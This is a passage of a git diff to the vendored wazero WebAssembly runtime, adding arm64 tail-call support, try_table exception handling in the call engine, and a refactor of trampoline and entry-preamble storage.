defKindNone, dmb: defKindNone, loadConstBlockArg: defKindRD, + tailCall: defKindCall, + tailCallInd: defKindCall, } // Defs returns the list of regalloc.VReg that are defined by the instruction. @@ -278,6 +280,8 @@ var useKinds = [numInstructionKinds]useKind{ atomicStore: useKindRNRM, loadConstBlockArg: useKindNone, dmb: useKindNone, + tailCall: useKindCall, + tailCallInd: useKindCallInd, } // Uses returns the list of regalloc.VReg that are used by the instruction. @@ -1501,6 +1505,10 @@ func (i *instruction) String() (str string) { str = fmt.Sprintf("%s %s, %s", m, formatVRegSized(i.rm.nr(), size), formatVRegSized(i.rn.nr(), 64)) case dmb: str = "dmb" + case tailCall: + str = fmt.Sprintf("b %s", ssa.FuncRef(i.u1)) + case tailCallInd: + str = fmt.Sprintf("b %s", formatVRegSized(i.rn.nr(), 64)) case udf: str = "udf" case emitSourceOffsetInfo: @@ -1550,6 +1558,22 @@ func (i *instruction) asDMB() { i.kind = dmb } +func (i *instruction) asTailCall(ref ssa.FuncRef, abi *backend.FunctionABI) { + i.kind = tailCall + i.u1 = uint64(ref) + if abi != nil { + i.u2 = abi.ABIInfoAsUint64() + } +} + +func (i *instruction) asTailCallIndirect(ptr regalloc.VReg, abi *backend.FunctionABI) { + i.kind = tailCallInd + i.rn = operandNR(ptr) + if abi != nil { + i.u2 = abi.ABIInfoAsUint64() + } +} + // TODO: delete unnecessary things. const ( // nop0 represents a no-op of zero size. @@ -1727,6 +1751,10 @@ const ( atomicStore // dmb represents the data memory barrier instruction in inner-shareable (ish) mode. dmb + // tailCall represents a tail call instruction. + tailCall + // tailCallInd represents a tail call indirect instruction. + tailCallInd // UDF is the undefined instruction. For debugging only. udf // loadConstBlockArg represents a load of a constant block argument. diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/instr_encoding.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/instr_encoding.go index 21be9b71..5326a5e2 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/instr_encoding.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/instr_encoding.go @@ -39,7 +39,7 @@ func (i *instruction) encode(m *machine) { c.Emit4Bytes(encodeUnconditionalBranch(false, imm)) case call: // We still don't know the exact address of the function to call, so we emit a placeholder. - c.AddRelocationInfo(i.callFuncRef()) + c.AddRelocationInfo(i.callFuncRef(), false) c.Emit4Bytes(encodeUnconditionalBranch(true, 0)) // 0 = placeholder case callInd: c.Emit4Bytes(encodeUnconditionalBranchReg(regNumberInEncoding[i.rn.realReg()], true)) @@ -417,6 +417,12 @@ func (i *instruction) encode(m *machine) { )) case dmb: c.Emit4Bytes(encodeDMB()) + case tailCall: + // We still don't know the exact address of the function to call, so we emit a placeholder. + c.AddRelocationInfo(i.callFuncRef(), true) // true = IsTailCall + c.Emit4Bytes(encodeUnconditionalBranch(false, 0)) // 0 = placeholder + case tailCallInd: + c.Emit4Bytes(encodeUnconditionalBranchReg(regNumberInEncoding[i.rn.realReg()], false)) default: panic(i.String()) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/lower_constant.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/lower_constant.go index 6c6824fb..77256314 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/lower_constant.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/lower_constant.go @@ -96,7 +96,7 @@ func (m *machine) lowerConstantI32(dst regalloc.VReg, c int32) { func (m *machine) lowerConstantI64(dst regalloc.VReg, c int64) { // Following the logic here: - // https://github.com/golang/go/blob/release-branch.go1.15/src/cmd/internal/obj/arm64/asm7.go#L1798-L1852 + // https://github.com/golang/go/blob/go1.24.0/src/cmd/internal/obj/arm64/asm7.go#L2161-L2215 if c >= 0 && (c <= 0xfff || (c&0xfff) == 0 && (uint64(c>>12) <= 0xfff)) { if isBitMaskImmediate(uint64(c), true) { m.lowerConstViaBitMaskImmediate(uint64(c), dst, true) @@ -188,7 +188,7 @@ func const16bitAligned(v int64) (ret int) { // load64bitConst loads a 64-bit constant into the register, following the same logic to decide how to load large 64-bit // consts as in the Go assembler. // -// See https://github.com/golang/go/blob/release-branch.go1.15/src/cmd/internal/obj/arm64/asm7.go#L6632-L6759 +// See https://github.com/golang/go/blob/go1.24.0/src/cmd/internal/obj/arm64/asm7.go#L7555-L7682 func (m *machine) load64bitConst(c int64, dst regalloc.VReg) { var bits [4]uint64 var zeros, negs int diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/lower_instr.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/lower_instr.go index f9df356c..190bc601 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/lower_instr.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/lower_instr.go @@ -788,6 +788,9 @@ func (m *machine) LowerInstr(instr *ssa.Instruction) { instr.asDMB() m.insert(instr) + case ssa.OpcodeTailCallReturnCall, ssa.OpcodeTailCallReturnCallIndirect: + m.lowerTailCall(instr) + default: panic("TODO: lowering " + op.String()) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine.go index 00e6b238..5ced27cc 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine.go @@ -370,14 +370,14 @@ func (m *machine) resolveAddressingMode(arg0offset, ret0offset int64, i *instruc // resolveRelativeAddresses resolves the relative addresses before encoding. func (m *machine) resolveRelativeAddresses(ctx context.Context) { - for { - if len(m.unresolvedAddressModes) > 0 { - arg0offset, ret0offset := m.arg0OffsetFromSP(), m.ret0OffsetFromSP() - for _, i := range m.unresolvedAddressModes { - m.resolveAddressingMode(arg0offset, ret0offset, i) - } + if len(m.unresolvedAddressModes) > 0 { + arg0offset, ret0offset := m.arg0OffsetFromSP(), m.ret0OffsetFromSP() + for _, i := range m.unresolvedAddressModes { + m.resolveAddressingMode(arg0offset, ret0offset, i) } - + m.unresolvedAddressModes = m.unresolvedAddressModes[:0] + } + for { // Reuse the slice to gather the unresolved conditional branches. m.condBrRelocs = m.condBrRelocs[:0] diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine_pro_epi_logue.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine_pro_epi_logue.go index c646a8fa..16d0746e 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine_pro_epi_logue.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine_pro_epi_logue.go @@ -198,6 +198,11 @@ func (m *machine) postRegAlloc() { switch cur.kind { case ret: m.setupEpilogueAfter(cur.prev) + case tailCall, tailCallInd: + m.setupEpilogueAfter(cur.prev) + // If this has been encoded as a proper tail call, we can remove the trailing instructions. + // For details, see internal/engine/RATIONALE.md + m.removeUntilRet(cur.next) case loadConstBlockArg: lc := cur next := lc.next @@ -325,6 +330,20 @@ func (m *machine) setupEpilogueAfter(cur *instruction) { linkInstr(cur, prevNext) } +// removeUntilRet removes the instructions starting from `cur` until the first `ret` instruction. +func (m *machine) removeUntilRet(cur *instruction) { + for ; cur != nil; cur = cur.next { + prev, next := cur.prev, cur.next + prev.next = next + if next != nil { + next.prev = prev + } + if cur.kind == ret { + return + } + } +} + // saveRequiredRegs is the set of registers that must be saved/restored during growing stack when there's insufficient // stack space left. Basically this is the combination of CalleeSavedRegisters plus argument registers execpt for x0, // which always points to the execution context whenever the native code is entered from Go. diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine_relocation.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine_relocation.go index 932fe842..9bb4dee1 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine_relocation.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/machine_relocation.go @@ -59,13 +59,19 @@ func (m *machine) ResolveRelocations( if diff < minUnconditionalBranchOffset || diff > maxUnconditionalBranchOffset { // Find the near trampoline island from callTrampolineIslandOffsets. islandOffset := searchTrampolineIsland(callTrampolineIslandOffsets, int(instrOffset)) - islandTargetOffset := islandOffset + trampolineCallSize*int(r.FuncRef) + // Imported functions don't need trampolines, so we ignore them when we compute the offset + // (see also encodeCallTrampolineIsland) + funcOffset := int(r.FuncRef) - importedFns + islandTargetOffset := islandOffset + trampolineCallSize*funcOffset diff = int64(islandTargetOffset) - (instrOffset) if diff < minUnconditionalBranchOffset || diff > maxUnconditionalBranchOffset { panic("BUG in trampoline placement") } } - binary.LittleEndian.PutUint32(executable[instrOffset:instrOffset+4], encodeUnconditionalBranch(true, diff)) + // The unconditional branch instruction is usually encoded as a branch-and-link (BL), + // because it is a function call. However, if the instruction is a tail call, + // we encode it as a plain unconditional branch (B), so we won't overwrite the link register. + binary.LittleEndian.PutUint32(executable[instrOffset:instrOffset+4], encodeUnconditionalBranch(!r.IsTailCall, diff)) } } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/reg.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/reg.go index 45737516..9cbac0af 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/reg.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/reg.go @@ -160,8 +160,8 @@ var ( // tmpReg is used to perform spill/load on large stack offsets, and load large constants. // Therefore, be cautious to use this register in the middle of the compilation, especially before the register allocation. // This is the same as golang/go, but it's only described in the source code: - // https://github.com/golang/go/blob/18e17e2cb12837ea2c8582ecdb0cc780f49a1aac/src/cmd/compile/internal/ssa/_gen/ARM64Ops.go#L59 - // https://github.com/golang/go/blob/18e17e2cb12837ea2c8582ecdb0cc780f49a1aac/src/cmd/compile/internal/ssa/_gen/ARM64Ops.go#L13-L15 + // https://github.com/golang/go/blob/go1.24.0/src/cmd/compile/internal/ssa/_gen/ARM64Ops.go#L59 + // https://github.com/golang/go/blob/go1.24.0/src/cmd/compile/internal/ssa/_gen/ARM64Ops.go#L13-L15 tmpRegVReg = regalloc.FromRealReg(tmp, regalloc.RegTypeInt) v28VReg = regalloc.FromRealReg(v28, regalloc.RegTypeFloat) v29VReg = regalloc.FromRealReg(v29, regalloc.RegTypeFloat) diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/call_engine.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/call_engine.go index 639429a6..83140bb4 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/call_engine.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/call_engine.go @@ -43,6 +43,29 @@ type ( execCtxPtr uintptr numberOfResults int stackIteratorImpl stackIterator + // tryHandlers is the stack of active try_table exception handlers, + // used to match catch clauses when a throw exits to the dispatch loop. + tryHandlers []tryHandler + // pendingException holds the most recently caught exception, so handler + // code can read its params after re-entry. + pendingException *wasm.Exception + } + + // tryHandler records the state at a try_table entry for exception handling. + // On match, we restore the stack to the checkpoint state and re-enter at returnAddress. + tryHandler struct { + // Cloned stack and state from the try_table entry checkpoint, + // using the same approach as experimental.Snapshot. + sp, fp, top uintptr + returnAddress *byte + savedRegisters [64][2]uint64 + stack []byte // cloned stack + // catchClauses describes what exceptions this handler catches. + catchClauses []wazevoapi.CatchClauseInstance + // moduleInstance is the module that set up this try handler. + // Used for tag matching in doHandleException (the tag index in + // catch clauses is relative to this module's tag index space). + moduleInstance *wasm.ModuleInstance } // executionContext is the struct to be read/written by assembly functions. @@ -90,6 +113,29 @@ type ( memoryWait64TrampolineAddress *byte // memoryNotifyTrampolineAddress holds the address of the memory_notify trampoline function. memoryNotifyTrampolineAddress *byte + // throwAllocTrampolineAddress holds the address of the throw-alloc trampoline: + // phase 1 of throw, which allocates the Exception heap object. + throwAllocTrampolineAddress *byte + // throwTrampolineAddress holds the address of the throw/throw_ref trampoline function. + throwTrampolineAddress *byte + // tryTableEnterTrampolineAddress holds the address of the try_table enter trampoline function. + tryTableEnterTrampolineAddress *byte + // tryTableLeaveTrampolineAddress holds the address of the try_table leave trampoline function. + tryTableLeaveTrampolineAddress *byte + // exceptionPtr holds the pointer to the Exception struct, + // used on the throw side (throwAlloc stores the new Exception) + // and on the catch side (catch_ref/catch_all_ref retrieve the exnref). + exceptionPtr uintptr + // exceptionParamsPtr points into exceptionPtr's Params slice + // backing array. On the throw side, throwAlloc sets it so compiled + // code can store params at [ptr + i*8]. On the catch side, compiled + // handler blocks load params from the same pointer. + exceptionParamsPtr uintptr + // caughtExceptionClauseIdx is set by the dispatch loop to -1 on + // TryTableEnter (normal path) or to the matched catch clause index + // when an exception is caught. Compiled code loads this from execCtx + // after the trampoline call to decide which handler to dispatch to. + caughtExceptionClauseIdx int64 } ) @@ -217,6 +263,9 @@ func (c *callEngine) callWithStack(ctx context.Context, paramResultStack []uint6 } } + // Clear any stale try_table handlers from a previous call. + c.tryHandlers = c.tryHandlers[:0] + var paramResultPtr *uint64 if len(paramResultStack) > 0 { paramResultPtr = ¶mResultStack[0] @@ -236,21 +285,25 @@ func (c *callEngine) callWithStack(ctx context.Context, paramResultStack []uint6 var listeners []listenerForAbort builder := wasmdebug.NewErrorBuilder() - def, lsn := c.addFrame(builder, uintptr(unsafe.Pointer(c.execCtx.goCallReturnAddress))) - if lsn != nil { - listeners = append(listeners, listenerForAbort{def, lsn}) - } - returnAddrs := unwindStack( - uintptr(unsafe.Pointer(c.execCtx.stackPointerBeforeGoCall)), - c.execCtx.framePointerBeforeGoCall, - c.stackTop, - nil, - ) - for _, retAddr := range returnAddrs[:len(returnAddrs)-1] { // the last return addr is the trampoline, so we skip it. - def, lsn = c.addFrame(builder, retAddr) + if c.execCtx.stackPointerBeforeGoCall != nil { + def, lsn := c.addFrame(builder, uintptr(unsafe.Pointer(c.execCtx.goCallReturnAddress))) if lsn != nil { listeners = append(listeners, listenerForAbort{def, lsn}) } + returnAddrs := unwindStack( + uintptr(unsafe.Pointer(c.execCtx.stackPointerBeforeGoCall)), + c.execCtx.framePointerBeforeGoCall, + c.stackTop, + nil, + ) + if len(returnAddrs) > 1 { + for _, retAddr := range returnAddrs[:len(returnAddrs)-1] { // the last return addr is the trampoline, so we skip it. + def, lsn = c.addFrame(builder, retAddr) + if lsn != nil { + listeners = append(listeners, listenerForAbort{def, lsn}) + } + } + } } err = builder.FromRecovered(r) @@ -266,6 +319,7 @@ func (c *callEngine) callWithStack(ctx context.Context, paramResultStack []uint6 if err != nil { // Ensures that we can reuse this callEngine even after an error. c.execCtx.exitCode = wazevoapi.ExitCodeOK + c.tryHandlers = c.tryHandlers[:0] } }() @@ -505,12 +559,134 @@ func (c *callEngine) callWithStack(ctx context.Context, paramResultStack []uint6 panic(wasmruntime.ErrRuntimeInvalidConversionToInteger) case wazevoapi.ExitCodeUnalignedAtomic: panic(wasmruntime.ErrRuntimeUnalignedAtomic) + case wazevoapi.ExitCodeThrowAlloc: + // Allocate the Exception heap object sized exactly to the tag's + // param count. Sets exceptionParamsPtr so compiled code can + // store params, and returns the exnref via the stack slot. + s := goCallStackView(c.execCtx.stackPointerBeforeGoCall) + tagIndex := int(s[0]) + mod := c.callerModuleInstance() + tag := mod.Tags[tagIndex] + nParams := len(tag.Type.Params) + exn := &wasm.Exception{Tag: tag, Params: make([]uint64, nParams)} + c.pendingException = exn // GC root: keeps exn alive while compiled code writes params + if nParams > 0 { + c.execCtx.exceptionParamsPtr = uintptr(unsafe.Pointer(&exn.Params[0])) + } + // Return the exnref to compiled code via the stack slot. + s[0] = uint64(uintptr(unsafe.Pointer(exn))) + c.execCtx.exitCode = wazevoapi.ExitCodeOK + afterGoFunctionCallEntrypoint(c.execCtx.goCallReturnAddress, c.execCtxPtr, + uintptr(unsafe.Pointer(c.execCtx.stackPointerBeforeGoCall)), c.execCtx.framePointerBeforeGoCall) + case wazevoapi.ExitCodeThrow: + // Throw trampoline: (execCtx, exnref) → (). + // Reads the exnref from the stack, searches for a matching handler. + s := goCallStackView(c.execCtx.stackPointerBeforeGoCall) + // Read the Exception pointer directly from the uint64 value to avoid + // conversion from uintptr into unsafe.Pointer, which triggers checkptr. + exn := *(**wasm.Exception)(unsafe.Pointer(&s[0])) + if !c.doHandleException(exn) { + panic(wasmruntime.ErrRuntimeUncaughtException) + } + if len(exn.Params) > 0 { + c.execCtx.exceptionParamsPtr = uintptr(unsafe.Pointer(&exn.Params[0])) + } + c.execCtx.exceptionPtr = uintptr(unsafe.Pointer(exn)) + c.execCtx.exitCode = wazevoapi.ExitCodeOK + afterGoFunctionCallEntrypoint(c.execCtx.goCallReturnAddress, c.execCtxPtr, + uintptr(unsafe.Pointer(c.execCtx.stackPointerBeforeGoCall)), c.execCtx.framePointerBeforeGoCall) + case wazevoapi.ExitCodeNullReference: + panic(wasmruntime.ErrRuntimeNullReference) + case wazevoapi.ExitCodeTryTableEnter: + // Save current state as a try handler checkpoint using stack cloning + // (same approach as experimental.Snapshot). + // The encoded exit code (with tryTableID in upper bits) is on the + // Go call stack as the second trampoline argument, not in execCtx.exitCode. + tryTableEnterStack := goCallStackView(c.execCtx.stackPointerBeforeGoCall) + catchClauseTableIdx := wazevoapi.TryTableIDFromExitCode(wazevoapi.ExitCode(tryTableEnterStack[0])) + mod := c.callerModuleInstance() + me := mod.Engine.(*moduleEngine) + clauses := me.parent.catchClauseTable[catchClauseTableIdx] + returnAddress := c.execCtx.goCallReturnAddress + oldTop, oldSp := c.stackTop, uintptr(unsafe.Pointer(c.execCtx.stackPointerBeforeGoCall)) + newSP, newFP, newTop, newStack := c.cloneStack(uintptr(len(c.stack)) + 16) + adjustClonedStack(oldSp, oldTop, newSP, newFP, newTop) + c.tryHandlers = append(c.tryHandlers, tryHandler{ + sp: newSP, + fp: newFP, + top: newTop, + returnAddress: returnAddress, + savedRegisters: c.execCtx.savedRegisters, + stack: newStack, + catchClauses: clauses, + moduleInstance: mod, + }) + // Set clauseIdx = -1 (no exception) in execCtx for the compiled code + // to read after the trampoline returns. + c.execCtx.caughtExceptionClauseIdx = -1 + c.execCtx.exitCode = wazevoapi.ExitCodeOK + afterGoFunctionCallEntrypoint(c.execCtx.goCallReturnAddress, c.execCtxPtr, + uintptr(unsafe.Pointer(c.execCtx.stackPointerBeforeGoCall)), c.execCtx.framePointerBeforeGoCall) + case wazevoapi.ExitCodeTryTableLeave: + // Pop the most recent try handler. + if len(c.tryHandlers) > 0 { + c.tryHandlers = c.tryHandlers[:len(c.tryHandlers)-1] + } + c.execCtx.exitCode = wazevoapi.ExitCodeOK + afterGoFunctionCallEntrypoint(c.execCtx.goCallReturnAddress, c.execCtxPtr, + uintptr(unsafe.Pointer(c.execCtx.stackPointerBeforeGoCall)), c.execCtx.framePointerBeforeGoCall) default: panic("BUG") } } } +// doHandleException tries to match the given exception against active try handlers. +// If a match is found, it restores the execution state to the handler's checkpoint +// (like snapshot.doRestore) and writes the matched clause index as the trampoline +// return value. Returns true if handled. +func (c *callEngine) doHandleException(exn *wasm.Exception) bool { + // Search try handlers from innermost (last) to outermost (first). + for i := len(c.tryHandlers) - 1; i >= 0; i-- { + h := &c.tryHandlers[i] + for clauseIdx, clause := range h.catchClauses { + // Use the module that set up the handler (not the one that threw) + // because clause.TagIndex is relative to that module's tag space. + mod := h.moduleInstance + matched := false + switch clause.Kind { + case wasm.CatchKindCatch, wasm.CatchKindCatchRef: + matched = mod.Tags[clause.TagIndex] == exn.Tag + case wasm.CatchKindCatchAll, wasm.CatchKindCatchAllRef: + matched = true + } + if matched { + // Pop all handlers at and above this one. + c.tryHandlers = c.tryHandlers[:i] + + // Store the caught exception so handler code can read params. + c.pendingException = exn + + // Restore the cloned stack (like snapshot.doRestore). + spp := *(**uint64)(unsafe.Pointer(&h.sp)) + c.stack = h.stack + c.stackTop = h.top + ec := &c.execCtx + ec.stackBottomPtr = &c.stack[0] + ec.stackPointerBeforeGoCall = spp + ec.framePointerBeforeGoCall = h.fp + ec.goCallReturnAddress = h.returnAddress + ec.savedRegisters = h.savedRegisters + + // Set the matched clause index in execCtx for compiled code to read. + ec.caughtExceptionClauseIdx = int64(clauseIdx) + return true + } + } + } + return false +} + func (c *callEngine) callerModuleInstance() *wasm.ModuleInstance { return moduleInstanceFromOpaquePtr(c.execCtx.callerModuleContextPtr) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/engine.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/engine.go index a6df3e7e..bee9d208 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/engine.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/engine.go @@ -6,8 +6,10 @@ import ( "errors" "fmt" "runtime" + "slices" "sort" "sync" + "sync/atomic" "unsafe" "github.com/tetratelabs/wazero/api" @@ -23,11 +25,15 @@ import ( ) type ( + compiledModuleWithCount struct { + *compiledModule + refCount int + } // engine implements wasm.Engine. engine struct { wazeroVersion string fileCache filecache.Cache - compiledModules map[wasm.ModuleID]*compiledModule + compiledModules map[wasm.ModuleID]*compiledModuleWithCount // sortedCompiledModules is a list of compiled modules sorted by the initial address of the executable. sortedCompiledModules []*compiledModule mux sync.RWMutex @@ -42,25 +48,41 @@ type ( } sharedFunctions struct { - // memoryGrowExecutable is a compiled trampoline executable for memory.grow builtin function. - memoryGrowExecutable []byte - // checkModuleExitCode is a compiled trampoline executable for checking module instance exit code. This - // is used when ensureTermination is true. - checkModuleExitCode []byte - // stackGrowExecutable is a compiled executable for growing stack builtin function. - stackGrowExecutable []byte - // tableGrowExecutable is a compiled trampoline executable for table.grow builtin function. - tableGrowExecutable []byte - // refFuncExecutable is a compiled trampoline executable for ref.func builtin function. - refFuncExecutable []byte - // memoryWait32Executable is a compiled trampoline executable for memory.wait32 builtin function - memoryWait32Executable []byte - // memoryWait64Executable is a compiled trampoline executable for memory.wait64 builtin function - memoryWait64Executable []byte - // memoryNotifyExecutable is a compiled trampoline executable for memory.notify builtin function - memoryNotifyExecutable []byte - listenerBeforeTrampolines map[*wasm.FunctionType][]byte - listenerAfterTrampolines map[*wasm.FunctionType][]byte + // The compiled trampolines executable. + executable []byte + // memoryGrowAddress is the address of memory.grow builtin function. + memoryGrowAddress *byte + // checkModuleExitCodeAddress is the address of checking module instance exit code. + // This is used when ensureTermination is true. + checkModuleExitCodeAddress *byte + // stackGrowAddress is the address of growing stack builtin function. + stackGrowAddress *byte + // tableGrowAddress is the address of table.grow builtin function. + tableGrowAddress *byte + // refFuncAddress is the address of ref.func builtin function. + refFuncAddress *byte + // memoryWait32Address is the address of memory.wait32 builtin function + memoryWait32Address *byte + // memoryWait64Address is the address of memory.wait64 builtin function + memoryWait64Address *byte + // memoryNotifyAddress is the address of memory.notify builtin function + memoryNotifyAddress *byte + // throwAllocTrampolineAddress is the address of the throw-alloc trampoline: + // phase 1 of throw, which allocates the Exception heap object. + throwAllocTrampolineAddress *byte + // throwTrampolineAddress is the address of the throw/throw_ref trampoline function. + throwTrampolineAddress *byte + // tryTableEnterAddress is the address of try_table enter trampoline. + tryTableEnterAddress *byte + // tryTableLeaveAddress is the address of try_table leave trampoline. + tryTableLeaveAddress *byte + listenerTrampolines listenerTrampolines + } + + listenerTrampolines = map[*wasm.FunctionType]struct { + executable []byte + before *byte + after *byte } // compiledModule is a compiled variant of a wasm.Module and ready to be used for instantiation. @@ -80,11 +102,15 @@ type ( offsets wazevoapi.ModuleContextOffsetData sharedFunctions *sharedFunctions sourceMap sourceMap + // catchClauseTable stores catch clause info for each try_table, + // indexed by a try_table ID assigned during compilation. + catchClauseTable [][]wazevoapi.CatchClauseInstance } executables struct { - executable []byte - entryPreambles [][]byte + executable []byte + entryPreambles []byte + entryPreamblesPtrs []*byte } ) @@ -105,7 +131,7 @@ func NewEngine(ctx context.Context, _ api.CoreFeatures, fc filecache.Cache) wasm machine := newMachine() be := backend.NewCompiler(ctx, machine, ssa.NewBuilder()) e := &engine{ - compiledModules: make(map[wasm.ModuleID]*compiledModule), + compiledModules: make(map[wasm.ModuleID]*compiledModuleWithCount), setFinalizer: runtime.SetFinalizer, machine: machine, be: be, @@ -136,7 +162,7 @@ func (e *engine) CompileModule(ctx context.Context, module *wasm.Module, listene if err != nil { return err } - if err = e.addCompiledModule(module, cm); err != nil { + if cm, err = e.addCompiledModule(module, cm); err != nil { return err } @@ -164,23 +190,46 @@ func (e *engine) CompileModule(ctx context.Context, module *wasm.Module, listene } func (exec *executables) compileEntryPreambles(m *wasm.Module, machine backend.Machine, be backend.Compiler) { - exec.entryPreambles = make([][]byte, len(m.TypeSection)) - for i := range m.TypeSection { + if len(m.TypeSection) == 0 { + return + } + + var preambles []byte + sizes := make([]int, len(m.TypeSection)) + + for i := range sizes { typ := &m.TypeSection[i] sig := frontend.SignatureForWasmFunctionType(typ) be.Init() buf := machine.CompileEntryPreamble(&sig) - executable := mmapExecutable(buf) - exec.entryPreambles[i] = executable + preambles = append(preambles, buf...) + align := 15 & -len(preambles) // Align 16-bytes boundary. + preambles = append(preambles, make([]byte, align)...) + sizes[i] = len(buf) + align + } + + exec.entryPreambles = mmapExecutable(preambles) + exec.entryPreamblesPtrs = make([]*byte, len(sizes)) + + offset := 0 + for i, size := range sizes { + ptr := &exec.entryPreambles[offset] + exec.entryPreamblesPtrs[i] = ptr + offset += size if wazevoapi.PerfMapEnabled { - wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(&executable[0])), - uint64(len(executable)), fmt.Sprintf("entry_preamble::type=%s", typ.String())) + typ := &m.TypeSection[i] + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(ptr)), + uint64(size), fmt.Sprintf("entry_preamble::type=%s", typ.String())) } } } func (e *engine) compileModule(ctx context.Context, module *wasm.Module, listeners []experimental.FunctionListener, ensureTermination bool) (*compiledModule, error) { + if module.IsHostModule { + return e.compileHostModule(ctx, module, listeners) + } + withListener := len(listeners) > 0 cm := &compiledModule{ offsets: wazevoapi.NewModuleContextOffsetData(module, withListener), parent: e, module: module, @@ -188,116 +237,145 @@ func (e *engine) compileModule(ctx context.Context, module *wasm.Module, listene executables: &executables{}, } - if module.IsHostModule { - return e.compileHostModule(ctx, module, listeners) - } - importedFns, localFns := int(module.ImportFunctionCount), len(module.FunctionSection) if localFns == 0 { return cm, nil } - rels := make([]backend.RelocationInfo, 0) - refToBinaryOffset := make([]int, importedFns+localFns) - - if wazevoapi.DeterministicCompilationVerifierEnabled { - // The compilation must be deterministic regardless of the order of functions being compiled. - wazevoapi.DeterministicCompilationVerifierRandomizeIndexes(ctx) + machine := newMachine() + relocator, err := newEngineRelocator(machine, importedFns, localFns) + if err != nil { + return nil, err } needSourceInfo := module.DWARFLines != nil - // Creates new compiler instances which are reused for each function. ssaBuilder := ssa.NewBuilder() - fe := frontend.NewFrontendCompiler(module, ssaBuilder, &cm.offsets, ensureTermination, withListener, needSourceInfo) - machine := newMachine() be := backend.NewCompiler(ctx, machine, ssaBuilder) - cm.executables.compileEntryPreambles(module, machine, be) - - totalSize := 0 // Total binary size of the executable. cm.functionOffsets = make([]int, localFns) - bodies := make([][]byte, localFns) - // Trampoline relocation related variables. - trampolineInterval, callTrampolineIslandSize, err := machine.CallTrampolineIslandInfo(localFns) - if err != nil { - return nil, err + var indexes []int + if wazevoapi.DeterministicCompilationVerifierEnabled { + // The compilation must be deterministic regardless of the order of functions being compiled. + indexes = wazevoapi.DeterministicCompilationVerifierRandomizeIndexes(ctx) } - needCallTrampoline := callTrampolineIslandSize > 0 - var callTrampolineIslandOffsets []int // Holds the offsets of trampoline islands. - for i := range module.CodeSection { - if wazevoapi.DeterministicCompilationVerifierEnabled { - i = wazevoapi.DeterministicCompilationVerifierGetRandomizedLocalFunctionIndex(ctx, i) - } + if workers := experimental.GetCompilationWorkers(ctx); workers <= 1 { + // Compile with a single goroutine. + fe := frontend.NewFrontendCompiler(module, ssaBuilder, &cm.offsets, ensureTermination, withListener, needSourceInfo) - fidx := wasm.Index(i + importedFns) - - if wazevoapi.NeedFunctionNameInContext { - def := module.FunctionDefinition(fidx) - name := def.DebugName() - if len(def.ExportNames()) > 0 { - name = def.ExportNames()[0] + for i := range module.CodeSection { + if wazevoapi.DeterministicCompilationVerifierEnabled { + i = indexes[i] } - ctx = wazevoapi.SetCurrentFunctionName(ctx, i, fmt.Sprintf("[%d/%d]%s", i, len(module.CodeSection)-1, name)) - } - - needListener := len(listeners) > 0 && listeners[i] != nil - body, relsPerFunc, err := e.compileLocalWasmFunction(ctx, module, wasm.Index(i), fe, ssaBuilder, be, needListener) - if err != nil { - return nil, fmt.Errorf("compile function %d/%d: %v", i, len(module.CodeSection)-1, err) - } - - // Align 16-bytes boundary. - totalSize = (totalSize + 15) &^ 15 - cm.functionOffsets[i] = totalSize - if needSourceInfo { - // At the beginning of the function, we add the offset of the function body so that - // we can resolve the source location of the call site of before listener call. - cm.sourceMap.executableOffsets = append(cm.sourceMap.executableOffsets, uintptr(totalSize)) - cm.sourceMap.wasmBinaryOffsets = append(cm.sourceMap.wasmBinaryOffsets, module.CodeSection[i].BodyOffsetInCodeSection) 